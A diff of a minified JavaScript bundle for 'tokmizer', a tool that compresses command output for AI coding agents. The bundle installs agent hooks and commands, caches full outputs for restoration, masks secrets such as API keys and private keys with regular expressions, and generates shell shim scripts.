Wr,writeFile as _s,stat as Ca,readdir as X_,rm as Uf}from"node:fs/promises";import{existsSync as Q_}from"node:fs";import{dirname as eS}from"node:path";async function Gf(){try{let e=JSON.parse(await Wr(ya(),"utf8"));return Array.isArray(e)?e.filter(t=>typeof t=="string"):[]}catch{return[]}}async function Zf(e){try{await ws(b(),{recursive:!0,mode:448}),await _s(ya(),JSON.stringify(e),{mode:384})}catch{}}function Kf(){let e=Number(process.env.TOKMIZER_MAX_BUNDLE_AGE_MS);return Number.isFinite(e)&&e>0?Math.min(e,zf):zf}async function Oa(e){try{let t=await Ca(De(e)),n=Date.now()-t.mtimeMs;return n<nS&&n<=Kf()}catch{return!1}}async function Ia(e,t){await ws(cs(),{recursive:!0,mode:448}),await _s(De(e),t,{mode:384}),await $a(De(e),384)}async function Ss(e){let t=new Set(e),n;try{n=await X_(cs())}catch{return}for(let r of n){if(!r.endsWith(".md"))continue;let o=r.slice(0,-3);if(!t.has(o))try{await Uf(De(o))}catch{}}}async function Pa(e,t){if(!process.env.TOKMIZER_CLAUDE_COMMANDS_DIR&&!Q_(eS(fs())))return;await ws(fs(),{recursive:!0});try{if(!(await Wr(nn(e),"utf8")).includes(Jf))return}catch{}await _s(nn(e),t,{mode:384}),await $a(nn(e),384);let n=await Gf();n.includes(e)||await Zf([...n,e])}async function xs(e){let t=new Set([...e,...bs]),n=await Gf(),r=new Set([...n,...tS]);for(let o of r)if(!t.has(o))try{if(!(await Wr(nn(o),"utf8")).includes(Jf))continue;await Uf(nn(o))}catch{}await Zf(n.filter(o=>t.has(o)))}async function rS(){let e=0;for(let t of bs)await Wf(t)&&e++;return{installed:e,total:bs.length}}async function Wf(e){try{return await Ca(nn(e)),!0}catch{return!1}}async function Es(e){try{await ws(b(),{recursive:!0,mode:448}),await _s(as(),JSON.stringify({at:Date.now(),error:e}),{mode:384}),await $a(as(),384)}catch{}}async function oS(){try{return JSON.parse(await Wr(as(),"utf8"))}catch{return null}}async function sS(e){try{let t=await Ca(De(e));return Date.now()-t.mtimeMs>Kf()?null:await Wr(De(e),"utf8")}catch{return null}}var Jf,bs,tS,nS,zf,Na=y(()=>{"use strict";U();Jf="managed-by: tokmizer",bs=["tkr","tkr-gain","tkr-status","tkr-link","tkr-unlink","tkr-compression","tkr-telemetry","tkr-update","tkr-yolo"],tS=["power","tkr-reducer"];nS=3600*1e3,zf=10080*60*1e3});function an(e){let t=e;for(let[n,r]of iS)t=t.replace(n,r);return t}function uS(e){if(!e.includes("PRIVATE KEY-----"))return e;let t=e.split(`
13
+ `),n=[];for(let r of t){if(lS.test(r)){let o=n.length;for(;o>0&&cS.test(n[o-1]);)o-=1;if(o<n.length){n.length=o,n.push(`${Ze}${r}`);continue}}n.push(r)}return n.join(`
14
+ `)}function vs(e){let t=e;for(let[n,r]of aS)t=t.replace(n,r);return uS(t)}var iS,Ze,aS,lS,cS,Vr=y(()=>{"use strict";iS=[[/(\baws_(?:secret_access_key|session_token|access_key_id)\s+)\S+/gi,"$1[REDACTED]"],[/(\bsshpass\b[^;&|\n]{0,200}?\s-p\s*)\S+/g,"$1[REDACTED]"],[/(\bredis-cli\b[^;&|\n]{0,200}?\s(?:-a|--pass)\s+)\S+/g,"$1[REDACTED]"],[/(\bopenssl\b[^;&|\n]{0,200}?\s-k\s+)\S+/g,"$1[REDACTED]"],[/(\s-pass(?:in|out)?\s+(?:pass|env|file):)\S+/g,"$1[REDACTED]"],[/(https?:\/\/hooks\.slack\.com\/(?:services|workflows|triggers)\/)\S+/gi,"$1[REDACTED]"],[/(authorization\s*:\s*)([A-Za-z][A-Za-z0-9._-]*)\s+[^\s'"]+/gi,"$1$2 [REDACTED]"],[/(authorization\s*:\s*)[A-Za-z0-9._\-+/=]{8,}/gi,"$1[REDACTED]"],[/(bearer\s+)[A-Za-z0-9._\-+/=]{8,}/gi,"$1[REDACTED]"],[/((?:^|\s)(?:-b|--cookie)[=\s]+['"]?)[^\s'";=]+=[^\s'";]+(?:\s*;\s*[^\s'";=]+=[^\s'";]+)*/gi,"$1[REDACTED]"],[/((?:^|[\s'"])(?:Set-)?Cookie\s*:\s*)[^\s'";=]+=[^\s'";]+(?:\s*;\s*[^\s'";=]+=[^\s'";]+)*/gi,"$1[REDACTED]"],[/(--?(?:password|passwd|passphrase|apipass|pass|pwd|token|api[-_]?key|secret|bearer|cookie|jwt)(?:-[a-z0-9]+)*[=\s]+)\S+/gi,"$1[REDACTED]"],[/((?:^|\s)-b[=\s]?['"]?)[^\s'"=]+=[^\s'"]+/gi,"$1[REDACTED]"],[/((?:^|\s)(?:-u[=\s]?|(?:--user|-a)[=\s])['"]?[^\s:/'"]*:)(\/[^/\s'"][^\s'"]*|[^\s/'"0-9][^\s'"]*|[0-9][^\s'"]*[^\s'"0-9][^\s'"]*)/gi,"$1[REDACTED]"],[/((?:^|\s)(?:-u[=\s]?|(?:--user|-a)[=\s])['"]?[^\s:/'"]*[^\s:/'"0-9][^\s:/'"]*:)(?:\/[^/\s'"]|[^\s/'"])[^\s'"]*/gi,"$1[REDACTED]"],[/((?:^|\s)(?:-u[=\s]?|(?:--user|-a)[=\s])['"]?:)(?:\/[^/\s'"]|[^\s/'"])[^\s'"]*/gi,"$1[REDACTED]"],[/((?:[A-Za-z0-9]+-){0,8}(?:X-Api-Key|Private-Token|[A-Za-z0-9]+-(?:Token|Key|Auth|Secret))\s*:\s*)[^\s'"]+/gi,"$1[REDACTED]"],[/((?:^|[\s'"])(?:Set-)?Cookie\s*:\s*)[^\s'"]+/gi,"$1[REDACTED]"],[/(-i\s+)(\/[^\s]+|~\/[^\s]+|[A-Z]:\\[^\s]+)/g,"$1[REDACTED]"],[/([a-zA-Z][a-zA-Z0-9+.-]{0,31}:\/\/[^:/\s@]*:)[^\s@]+(@[^@/\s]+)/g,"$1[REDACTED]$2"],[/(AWS_(?:ACCESS_KEY_ID|SECRET_ACCESS_KEY|SESSION_TOKEN)\s*=\s*)\S+/g,"$1[REDACTED]"],[/(GOOGLE_APPLICATION_CREDENTIALS\s*=\s*)\S+/g,"$1[REDACTED]"],[/(AZURE_(?:CLIENT_SECRET|TENANT_ID|CLIENT_ID)\s*=\s*)\S+/g,"$1[REDACTED]"],[/(sk-(?:proj-)?[A-Za-z0-9_-]{20,})/g,"sk-[REDACTED]"],[/\b(OPENAI_API_KEY\s*=\s*)\S+/g,"$1[REDACTED]"],[/\b(ANTHROPIC_API_KEY\s*=\s*)\S+/g,"$1[REDACTED]"],[/(sk-ant-[A-Za-z0-9_-]{20,})/g,"sk-ant-[REDACTED]"],[/\b(GH(?:_|ITHUB_)?TOKEN\s*=\s*)\S+/g,"$1[REDACTED]"],[/\b(GITLAB_TOKEN\s*=\s*)\S+/g,"$1[REDACTED]"],[/\b(SLACK_(?:BOT_)?TOKEN\s*=\s*)\S+/g,"$1[REDACTED]"],[/(xox[bpsoa]-[A-Za-z0-9-]{10,})/g,"xox[REDACTED]"],[/(xapp-[A-Za-z0-9-]{10,})/g,"[REDACTED]"],[/(sk_(?:test|live)_[A-Za-z0-9]{16,})/g,"sk_[REDACTED]"],[/(gh[a-z])_[A-Za-z0-9]{20,}/g,"$1_[REDACTED]"],[/(github_pat)_[A-Za-z0-9_]{20,}/g,"$1_[REDACTED]"],[/(gl(?:pat|rt|soat|imt|dt|ft|agent|oas|cbt|ptt))-[A-Za-z0-9_-]{16,}/g,"$1-[REDACTED]"],[/(npm_[A-Za-z0-9_-]{20,})/g,"npm_[REDACTED]"],[/(?:AKIA|ASIA|AGPA|AIDA|AROA|ANPA)[0-9A-Z]{16,}/g,"[REDACTED_AWS_KEY]"],[/AIza[A-Za-z0-9_-]{35}/g,"[REDACTED_GOOGLE_KEY]"],[/hv[sb]\.[A-Za-z0-9_-]{20,}/g,"[REDACTED_VAULT_TOKEN]"],[/dop_v1_[A-Za-z0-9]{40,}/g,"[REDACTED]"],[/dckr_pat_[A-Za-z0-9_-]{20,}/g,"[REDACTED]"],[/pypi-[A-Za-z0-9_-]{16,}/g,"[REDACTED]"],[/rk_(?:live|test)_[A-Za-z0-9]{16,}/g,"[REDACTED]"],[/whsec_[A-Za-z0-9]{16,}/g,"[REDACTED]"],[/SG\.[A-Za-z0-9_-]{20,}\.[A-Za-z0-9_-]{20,}/g,"[REDACTED]"],[/(eyJ[A-Za-z0-9_-]{6,}(?:\.[A-Za-z0-9_-]{4,}){1,2})/g,"[REDACTED_JWT]"],[/-----BEGIN [A-Z ]*PRIVATE KEY-----(?:[\s\S]*?-----END[^\n]*-----|\r?\n[A-Za-z0-9+/=][A-Za-z0-9+/=\r\n]*)?/g,"[REDACTED_PEM]"],[/\b((?:--?)?[A-Za-z0-9_]*(?:TOKEN|SECRET|PASSWORD|PASSWD|PASS|APIKEY|KEY|CRED|CREDS|CREDENTIAL|CREDENTIALS|AUTH|_PWD)[A-Za-z0-9_]*['"]?\s*=\s*)(?:"[^"]*"|'[^']*'|[^"'\s]\S*)/gi,"$1[REDACTED]"],[/\b([A-Za-z0-9_]*(?:TOKEN|SECRET|PASSWORD|PASSWD|PASS|APIKEY|KEY|CRED|CREDS|CREDENTIAL|CREDENTIALS|_PWD)[A-Za-z0-9_]*['"]?\s*:\s*)(?:"[^"]*"|'[^']*'|[^\s'",}]+)/gi,"$1[REDACTED]"],[/((?:^|[\s'"{,])['"]?(?:[A-Za-z0-9_]+_)?auth['"]?\s*:\s*)(?:"[^"]*"|'[^']*'|[^\s'",}]+)/gi,"$1[REDACTED]"],[/(\bpwd\s*[=:]\s*)(?:"[^"]*"|'[^']*'|[^/~\s][^\s;'"]*)/gi,"$1[REDACTED]"],[/([=:]\s*["']?)[A-Za-z0-9_\-+/=]{40,}/g,"$1[REDACTED]"]];Ze="[tkr: secret masked]",aS=[[/(-----BEGIN [A-Z0-9 ]*PRIVATE KEY-----)(?:\r?\n(?:[A-Za-z0-9+/=]{16,}|[A-Za-z-]+: [^\r\n]*|\r?(?=\n)))*(?:(?:\r?\n[A-Za-z0-9+/=]{1,15})?\r?\n-----END [A-Z0-9 ]*PRIVATE KEY-----)?/g,`$1${Ze}`],[/(?<![A-Za-z0-9_])(gh[pousr])_[A-Za-z0-9]{36,255}(?![A-Za-z0-9])/g,`$1_${Ze}`],[/(?<![A-Za-z0-9_])github_pat_[A-Za-z0-9_]{22,255}/g,`github_pat_${Ze}`],[/(?<![A-Za-z0-9_])npm_[A-Za-z0-9]{36}(?![A-Za-z0-9])/g,`npm_${Ze}`],[/(?<![A-Z0-9])(AKIA|ASIA)[A-Z0-9]{16}(?![A-Z0-9])/g,`$1${Ze}`],[/(?<![A-Za-z0-9])(xox[abpors]-)[A-Za-z0-9-]{10,}/g,`$1${Ze}`],[/(?<![A-Za-z0-9])((?:sk|rk)_live_)[A-Za-z0-9]{16,}/g,`$1${Ze}`],[/(?<![A-Za-z0-9_-])(sk-(?:ant-|proj-))[A-Za-z0-9_-]{20,}/g,`$1${Ze}`],[/(authorization["']?\s*[:=]\s*["']?bearer\s+)[A-Za-z0-9._~+/=-]{8,}/gi,`$1${Ze}`],[/(?<![A-Za-z0-9+.-])([a-zA-Z][a-zA-Z0-9+.-]{0,31}:\/\/[^\s:/@]*:)[^\s@/]+(@[^\s@/]+)/g,`$1${Ze}$2`]],lS=/^-----END [A-Z0-9 ]*PRIVATE KEY-----/,cS=/^[A-Za-z0-9+/=]{16,}\r?$/});var Fn,Ts=y(()=>{"use strict";Fn="[tkr: partial view; folded or omitted lines are not file text. Read with offset/limit for the exact lines before Edit or Write]"});import{readFileSync as fS}from"node:fs";import{join as dS}from"node:path";function $e(){try{return fS(dS(b(),"yolo-mode"),"utf8")==="on"}catch{return!1}}var qr=y(()=>{"use strict";U()});import{chmod as td,mkdir as mS,readFile as MF,writeFile as qf,stat as pS,readdir as gS,rm as Ln,rename as hS}from"node:fs/promises";import{existsSync as yS,readFileSync as kS,realpathSync as bS}from"node:fs";import{createHash as wS}from"node:crypto";import{dirname as Yf,join as Yr,resolve as Xf}from"node:path";function sd(){try{let e=JSON.parse(kS(tf(),"utf8")),t=e.maxAgeDays;return{...typeof t=="number"&&Number.isFinite(t)&&t>0?{maxAgeDays:Math.min(t,365)}:{},...e.disabled===!0?{disabled:!0}:{}}}catch{return{}}}function id(){let e=sd().maxAgeDays;return e?e*nd:_S}function Hn(e,t,n=process.env){let r=Number(n[e]);return Number.isFinite(r)&&r>0?r:t}function ad(e=process.env){return{maxAgeMs:Hn("TOKMIZER_CCR_MAX_AGE_MS",id(),e),maxBytes:Hn("TOKMIZER_CCR_DIR_CAP_BYTES",rd,e),entryMaxBytes:Hn("TOKMIZER_CCR_ENTRY_MAX_BYTES",od,e)}}function xS(e){return`${ha(e)}${Xr}`}async function Qf(e){await mS(e,{recursive:!0,mode:448});try{await td(e,448)}catch{}}function ES(e=process.cwd()){let t;try{t=bS(Xf(e))}catch{t=Xf(e)}for(let n=t;;n=Yf(n)){if(yS(Yr(n,".git")))return n;if(Yf(n)===n)return t}}function vS(e){return e===""?[]:(e.endsWith(`
15
15
  `)?e.slice(0,-1):e).split(`
16
- `)}async function nS(e,t,n=process.env,r={}){if(Ce()||!X_.test(e))return!1;t=vs(t);let o=Buffer.byteLength(t,"utf8");if(o>Ln("TOKMIZER_CCR_ENTRY_MAX_BYTES",Xf,n))return!1;let s=ga(e),i=`${s}.tmp-${process.pid}-${process.hrtime.bigint()}`;try{if(await Kf(b()),await Kf(At()),Ce())return!1;if(await Jf(i,t,{mode:384}),await Vf(i,384),Ce())return await Fn(i,{force:!0}),!1;await Z_(i,s)}catch{try{await Fn(i)}catch{}return!1}let a={at:Date.now(),bytes:o,lines:tS(t).length,partial:r.partial===!0,...r.label?{label:r.label.slice(0,40)}:{},project:eS(r.cwd)};try{await Jf(Q_(e),JSON.stringify(a),{mode:384})}catch{}return!0}function nd(e){let t=e.TOKMIZER_CCR_DISABLED;return t==="1"||t==="true"||Ce()||Qf().disabled===!0}function et(e,t){let n=e.replace(rS,"> ");if(!n.includes("[tkr:")&&!n.includes("[same output as "))return n;let r=t==null?null:t.split(`
17
- `).map(s=>s.replace(/\r$/,"")).filter(s=>Wf.test(s)),o=s=>{if(r==null)return!1;let i=oS.find(a=>a(s));return i!=null&&!r.some(i)};return n.split(`
18
- `).map(s=>Wf.test(s)&&!o(s)?`> ${s}`:s).join(`
19
- `)}function rd(e,t,n){let r=td(n).entryMaxBytes,o=e===""||e.endsWith(`
16
+ `)}async function TS(e,t,n=process.env,r={}){if($e()||!SS.test(e))return!1;t=vs(t);let o=Buffer.byteLength(t,"utf8");if(o>Hn("TOKMIZER_CCR_ENTRY_MAX_BYTES",od,n))return!1;let s=ha(e),i=`${s}.tmp-${process.pid}-${process.hrtime.bigint()}`;try{if(await Qf(b()),await Qf($t()),$e())return!1;if(await qf(i,t,{mode:384}),await td(i,384),$e())return await Ln(i,{force:!0}),!1;await hS(i,s)}catch{try{await Ln(i)}catch{}return!1}let a={at:Date.now(),bytes:o,lines:vS(t).length,partial:r.partial===!0,...r.label?{label:r.label.slice(0,40)}:{},project:ES(r.cwd)};try{await qf(xS(e),JSON.stringify(a),{mode:384})}catch{}return!0}function ld(e){let t=e.TOKMIZER_CCR_DISABLED;return t==="1"||t==="true"||$e()||sd().disabled===!0}function tt(e,t){let n=e.replace(RS,"> ");if(!n.includes("[tkr:")&&!n.includes("[same output as "))return n;let r=t==null?null:t.split(`
17
+ `).map(s=>s.replace(/\r$/,"")).filter(s=>ed.test(s)),o=s=>{if(r==null)return!1;let i=AS.find(a=>a(s));return i!=null&&!r.some(i)};return n.split(`
18
+ `).map(s=>ed.test(s)&&!o(s)?`> ${s}`:s).join(`
19
+ `)}function cd(e,t,n){let r=ad(n).entryMaxBytes,o=e===""||e.endsWith(`
20
20
  `)?"":`
21
21
  `,s=i=>`${Math.ceil(i/(1024*1024))} MB`;return`${o}[tkr: full output too large to keep (${s(t)} > ${s(r)} limit), no restore available]
22
- `}function od(e,t){let n=Buffer.byteLength(e,"utf8");return n>td(t).entryMaxBytes?n:null}async function Na(e,t,n,r){let o=q_("sha256").update(e).digest("hex").slice(0,16);return await nS(o,e,r,{partial:t,label:n})?o:null}function sd(e,t){return`${e===""||e.endsWith(`
22
+ `}function $S(e){return`${e===""||e.endsWith(`
23
+ `)?"":`
24
+ `}[tkr: the full output could not be saved, no restore available]
25
+ `}function ud(e,t){let n=Buffer.byteLength(e,"utf8");return n>ad(t).entryMaxBytes?n:null}async function Ma(e,t,n,r){let o=wS("sha256").update(e).digest("hex").slice(0,16);return await TS(o,e,r,{partial:t,label:n})?o:null}function fd(e,t){return`${e===""||e.endsWith(`
23
26
  `)?"":`
24
27
  `}[tkr restore ${t}]
25
- `}async function Hn(e,t,n=process.env,r={}){if(t=et(t,r.raw),nd(n)||!e)return t;let o=a=>sd(t,a);if(Buffer.byteLength(e,"utf8")<=Buffer.byteLength(o("0".repeat(16)),"utf8"))return t;if(r.raw){let a=await Na(r.raw,!1,r.label,n);if(a)return`${t}${o(a)}`}let s=await Na(e,!0,r.label,n);if(s)return`${t}${o(s)}`;let i=od(r.raw||e,n);return i&&!Ce()?`${t}${rd(t,i,n)}`:t}async function Ts(e,t,n=process.env,r={}){if(t=et(t,e),nd(n)||!e)return t;let o=await Na(e,!1,r.label,n);if(o)return`${t}${sd(t,o)}`;let s=od(e,n);return s&&!Ce()?`${t}${rd(t,s,n)}`:t}async function id(){let e;try{e=await G_(At())}catch{return}let t=Ln("TOKMIZER_CCR_MAX_AGE_MS",ed()),n=Ln("TOKMIZER_CCR_DIR_CAP_BYTES",Yf),r=Date.now(),o=new Map;for(let a of e){let l=qr(At(),a);try{let c=await J_(l);r-c.mtimeMs>t?await Fn(l):o.set(a,{mtimeMs:c.mtimeMs,size:c.size})}catch{}}for(let a of[...o.keys()])if(!(!a.endsWith(Yr)||o.has(a.slice(0,-Yr.length)))){try{await Fn(qr(At(),a))}catch{}o.delete(a)}let s=[...o.entries()].filter(([a])=>!a.endsWith(Yr)).sort((a,l)=>a[1].mtimeMs-l[1].mtimeMs),i=s.reduce((a,[,l])=>a+l.size,0);for(let[a,l]of s){if(i<=n)break;try{await Fn(qr(At(),a)),i-=l.size,await Fn(qr(At(),`${a}${Yr}`),{force:!0})}catch{}}}var qf,Y_,Yf,Xf,X_,Yr,YD,rS,Wf,oS,Rs=y(()=>{"use strict";Wr();Es();z();Vr();qf=1440*60*1e3,Y_=30*qf,Yf=200*1024*1024,Xf=8*1024*1024,X_=/^[0-9a-f]{8,64}$/i,Yr=".meta",YD=["usage: tkr restore <hash> [--lines a:b] [--grep pattern]"," tkr restore --list [--all-projects]"," tkr restore --grep <pattern> [--all-projects]",""].join(`
26
- `);rS=/^(?=\[tkr |\[tokmizer\])/gm,Wf=/^\[(?:tkr:|same output as )/,oS=[e=>e===Dn,e=>/^\[tkr: previous log line repeated \d+ additional times\]$/.test(e),e=>/^\[same output as `.*` earlier in this session, unchanged, ~\d+ tokens\]$/.test(e)]});function an(){let e=process.env.TOKMIZER_BASE_URL;if(e===jn||e===`${jn}/`||!e)return jn;try{let t=new URL(e);return t.protocol==="http:"&&sS.has(t.hostname)&&!t.username&&!t.password?e:jn}catch{return jn}}var jn,sS,As=y(()=>{"use strict";jn="https://tokmizer.com",sS=new Set(["127.0.0.1","localhost"])});var md={};ge(md,{clearSettingsCache:()=>uS,loadSettingsCache:()=>ne,saveSettingsCache:()=>$s,updateSettingsCache:()=>Da});import{readFile as ud,writeFile as fd,mkdir as dd,chmod as iS,rm as Xr,rename as pd,readdir as aS}from"node:fs/promises";import{randomUUID as lS}from"node:crypto";import{join as Bn}from"node:path";import{setTimeout as ad}from"node:timers/promises";async function ne(){let e=null;try{let t=JSON.parse(await ud(Bn(b(),Ma),"utf8"));typeof t=="object"&&t!==null&&!Array.isArray(t)&&(e=t)}catch{}return e?nn.parse({...ld,...e}):ld}async function $s(e){await dd(b(),{recursive:!0});let t=Bn(b(),Ma),n=`${t}.tmp-${process.pid}-${process.hrtime.bigint()}`;await fd(n,JSON.stringify(e,null,2),{mode:384});try{await iS(n,384),await pd(n,t)}catch(r){try{await Xr(n,{force:!0})}catch{}throw r}}async function cd(e){let t=[];for(let n of await aS(e)){let r=/^([1-9]\d*)-[0-9a-f-]{36}\.json$/.exec(n);if(!r)continue;let o=Bn(e,n);try{process.kill(Number(r[1]),0)}catch(s){let i=s.code;if(i==="ESRCH"){await Xr(o,{force:!0});continue}if(i!=="EPERM")throw s}try{let s=JSON.parse(await ud(o,"utf8"));if(!Number.isSafeInteger(s)||s<0)throw new Error("Invalid local settings lock");t.push({id:n,ticket:s})}catch(s){if(s.code!=="ENOENT")throw s}}return t}async function Da(e){let t=cS.parse(e),n=Bn(b(),"settings-cache-locks");await dd(n,{recursive:!0,mode:448});let r=`${process.pid}-${lS()}.json`,o=Bn(n,r),s=`${o}.tmp`,i=performance.now()+3e3,a=async l=>{for(await fd(s,String(l),{mode:384});;)try{await pd(s,o);return}catch(c){let u=c.code;if(process.platform!=="win32"||u!=="EPERM"&&u!=="EBUSY"||performance.now()>=i)throw c;await ad(10)}};try{await a(0);let l=Math.max(0,...(await cd(n)).map(c=>c.ticket))+1;if(!Number.isSafeInteger(l))throw new Error("Invalid local settings lock");for(await a(l);;){if(!(await cd(n)).some(u=>u.id!==r&&(u.ticket===0||u.ticket<l||u.ticket===l&&u.id<r))){let u=await ne(),f=nn.parse({...u,...t,filters:{...u.filters,...t.filters}});return await $s(f),f}if(performance.now()>=i)throw new Error("Timed out waiting for local settings lock after 3 seconds; another process may still be updating settings");await ad(10)}}finally{await Promise.all([Xr(o,{force:!0}),Xr(s,{force:!0})])}}async function uS(){try{await Xr(Bn(b(),Ma),{force:!0})}catch{}}var Ma,ld,cS,pt=y(()=>{"use strict";ut();z();Ma="settings-cache.json",ld=nn.parse({}),cS=nn.partial().extend({filters:nn.shape.filters.removeDefault().partial().optional()})});import dS from"node:os";import{isAbsolute as pS,join as hd,resolve as yd}from"node:path";function zn(e=process.env,t=dS.homedir()){let n=e.CLAUDE_CONFIG_DIR?.trim();if(!n)return hd(t,".claude");let r=n;return r==="~"?r=t:(r.startsWith("~/")||r.startsWith("~\\"))&&(r=hd(t,r.slice(2))),pS(r)?yd(r):yd(r)}var Cs=y(()=>{"use strict"});import{basename as mS}from"node:path";function mt(e){let t=mS(e).replace(/\.(m?js|ts)$/,"");if(t==="tkr")return[];for(let[n,r]of Object.entries(gS))if(r===t)return[n];for(let[n,r]of Object.entries(hS))if(r===t)return["hook",n];return null}var gS,hS,Qr=y(()=>{"use strict";gS={exec:"tkr-exec",processor:"tkr-processor",daemon:"tkr-daemon","shim-run":"tkr-shim"},hS={codex:"tkr-codex-hook",cursor:"tkr-cursor-hook",gemini:"tkr-gemini-hook",agent:"tkr-agent-hook",copilot:"tkr-copilot-hook",droid:"tkr-droid-hook",trae:"tkr-trae-hook",qwen:"tkr-qwen-hook",crush:"tkr-crush-hook",junie:"tkr-junie-hook",zcode:"tkr-zcode-hook",grok:"tkr-grok-hook",context:"tkr-context-hook","pre-tool-use":"pre-tool-use","post-tool-use":"post-tool-use","session-recap":"session-recap","session-start":"on-session-start","reducer-session-start":"reducer-session-start","reducer-prompt-submit":"reducer-prompt-submit","reducer-stop":"reducer-stop","command-expansion":"command-expansion"}});import{realpathSync as kd}from"node:fs";import{delimiter as yS,join as Un}from"node:path";import kS from"node:os";function fe(){return!1}function ln(e,t=process.execPath){let n=fe()?mt(e):null;return n?[process.execPath,...n]:[t,e]}function bd(e,t){try{return kd(e)===kd(t)}catch{return!1}}function cn(e=process.env.PATH??"",t=process.platform,n=process.execPath){let r=t==="win32"?"tkr.exe":"tkr";for(let o of e.split(t==="win32"?";":yS)){if(!o||o.includes("node_modules"))continue;let s=Un(o,r);if(bd(s,n))return s}if(t!=="win32"){let o=kS.homedir();for(let s of[Un(o,".local","bin",r),Un(o,".local","share","tokmizer","current","dist","bin",r),Un("/opt/homebrew/bin",r),Un("/usr/local/bin",r),Un("/home/linuxbrew/.linuxbrew/bin",r)])if(bd(s,n))return s}return n}var tt=y(()=>{"use strict";Qr()});import{rmSync as bS,statSync as wS}from"node:fs";import{join as Fa}from"node:path";function Oe(){return Fa(b(),"shims")}function Ct(){return Fa(b(),"fail-open")}function ye(e=Date.now()){try{if(e-wS(Ct()).mtimeMs<_S)return!0;bS(Ct(),{force:!0})}catch{}return!1}function eo(){return`[ -f ${Y(Ct())} ]`}function to(){return Fa(b(),"shim-fallbacks")}function Y(e){return`'${e.replace(/'/g,"'\\''")}'`}function wd(e){if(!e.startsWith("'")||!e.endsWith("'")||e.length<2)return null;let n=e.slice(1,-1).split("'\\''");return n.some(r=>r.includes("'"))?null:n.join("'")}function Ps(e){return["set -f",`_tk_d=${Y(Oe())}`,"_tk_o=$IFS; IFS=:; _tk_p=; _tk_x=","for _tk_e in $PATH; do",' [ -n "$_tk_e" ] || continue',' [ "$_tk_e" -ef "$_tk_d" ] && continue'," _tk_p=${_tk_p:+$_tk_p:}$_tk_e",' [ -z "$_tk_x" ] && [ -f "$_tk_e/$_tk_c" ] && [ -x "$_tk_e/$_tk_c" ] && _tk_x=$_tk_e/$_tk_c',"done","IFS=$_tk_o; PATH=$_tk_p; export PATH; set +f",'[ -n "$_tk_x" ] || { echo "$_tk_c: command not found" >&2; exit 127; }','exec "$_tk_x" "$@"'].map(t=>`${e}${t}`)}var Os,_S,Ee=y(()=>{"use strict";z();Os="tokmizer: shim target missing, running command directly; run `tkr doctor --fix`";_S=24*36e5});import{accessSync as SS,chmodSync as xd,constants as xS,existsSync as Is,mkdirSync as vd,readdirSync as vS,readFileSync as ES,realpathSync as _d,renameSync as Ed,unlinkSync as Td,writeFileSync as Rd}from"node:fs";import{chmod as TS,mkdir as RS,rename as AS,unlink as $S,writeFile as CS}from"node:fs/promises";import{basename as La,dirname as Ge,join as Ze,sep as Jn}from"node:path";function Gn(){return Ze(b(),"bin","tkr-shim-launch")}function gt(){return Ze(b(),"bin","tkr-hook")}function OS(){return Ze(b(),"bin","tkr-run")}function Sd(){return Ze(zn(),"plugins","cache","tokmizer","tokmizer")}function PS(e){let t=Ge(Ge(Ge(e)));return Ad.test(La(t))&&La(Ge(t))==="tokmizer"?Ge(t):null}function Ha(e){return/[\n\r]/.test(e)||e.includes(`${Jn}_npx${Jn}`)||e.includes(`${Jn}.bun${Jn}install${Jn}cache${Jn}`)}function ja(e){let t=e.match(/^(.*)[\\/]Cellar[\\/]([^\\/]+)[\\/][^\\/]+[\\/](.*)$/);if(!t)return e;let n=Ze(t[1],"opt",t[2],t[3]);try{return _d(n)===_d(e)?n:e}catch{return e}}function IS(e=process.execPath){return Ha(e)?"":ja(e)}function Zn(e,t=fe()){if(t&&mt(e)){let o=cn();return{single:Ha(o)?"":ja(o),js:"",cache:Sd(),node:""}}let n=IS(),r=PS(e);return r?{single:"",js:"",cache:r,node:n}:{single:"",js:Ha(e)?"":ja(e),cache:Sd(),node:n}}function NS(e){try{return SS(e,xS.X_OK),!0}catch{return!1}}function MS(e){let t=null,n=-1,r;try{r=vS(e)}catch{return null}for(let o of r){if(!Ad.test(o))continue;let s=Ze(e,o);if(!Is(Ze(s,"dist","bin","tkr-shim.js"))||!Is(Ze(s,"dist","bin",no)))continue;let[i,a,l]=o.split(".").map(Number),c=i*1e6+a*1e3+l;c>n&&(n=c,t=s)}return t}function ro(e){return e.single&&NS(e.single)||e.js&&Is(e.js)&&(La(e.js)!=="tkr-shim.js"||Is(Ze(Ge(e.js),no)))?!0:e.cache!==""&&MS(e.cache)!==null}function $d(e,t){return["#!/bin/sh",`_tk_f=${oo}`,`${t}=$1`,"shift",`_tk_s=${Y(e.single)}`,`_tk_j=${Y(e.js)}`,`_tk_k=${Y(e.cache)}`,`_tk_n=${Y(e.node)}`]}function Ba(e,t){return["_tk_t=",`if [ -n "$_tk_j" ] && [ -f "${t}" ] && { [ "\${_tk_j##*/}" != tkr-shim.js ] || [ -f "\${_tk_j%/*}/${no}" ]; }; then _tk_t=${t}; fi`,'if [ -z "$_tk_t" ] && [ -n "$_tk_k" ] && [ -d "$_tk_k" ]; then'," _tk_b=-1",' for _tk_r in "$_tk_k"/*/; do'," _tk_v=${_tk_r%/}; _tk_v=${_tk_v##*/}"," case $_tk_v in *[!0-9.]*|.*|*.|*..*|0[0-9]*|*.0[0-9]*|*[0-9][0-9][0-9][0-9][0-9][0-9][0-9]*) continue ;; [0-9]*.[0-9]*.[0-9]*) ;; *) continue ;; esac"," case ${_tk_v#*.*.} in *.*) continue ;; esac",` [ -f "\${_tk_r}dist/bin/${e}" ] && [ -f "\${_tk_r}dist/bin/${no}" ] || continue`," _tk_1=${_tk_v%%.*}; _tk_2=${_tk_v#*.}; _tk_3=${_tk_2#*.}; _tk_2=${_tk_2%%.*}"," _tk_v=$((_tk_1 * 1000000 + _tk_2 * 1000 + _tk_3))",` if [ "$_tk_v" -gt "$_tk_b" ]; then _tk_b=$_tk_v; _tk_t=\${_tk_r}dist/bin/${e}; fi`," done","fi",'if [ -z "$_tk_t" ]; then',` _tk_d=${Y(Oe())}`," set -f; _tk_o=$IFS; IFS=:"," for _tk_e in $PATH; do"," case $_tk_e in /*/node_modules/*|*/node_modules) continue ;; /*) ;; *) continue ;; esac",' [ ! "$_tk_e" -ef "$_tk_d" ] || continue',' for _tk_g in "$_tk_e/../lib/node_modules/@tokmizer/plugin/dist/bin" "$_tk_e/../opt/tokmizer/libexec/lib/node_modules/@tokmizer/plugin/dist/bin"; do',` if [ -f "$_tk_g/${no}" ] && [ -f "$_tk_g/${e}" ]; then _tk_t=$_tk_g/${e}; break 2; fi`," done"," done"," IFS=$_tk_o; set +f","fi","_tk_x=",'if [ -n 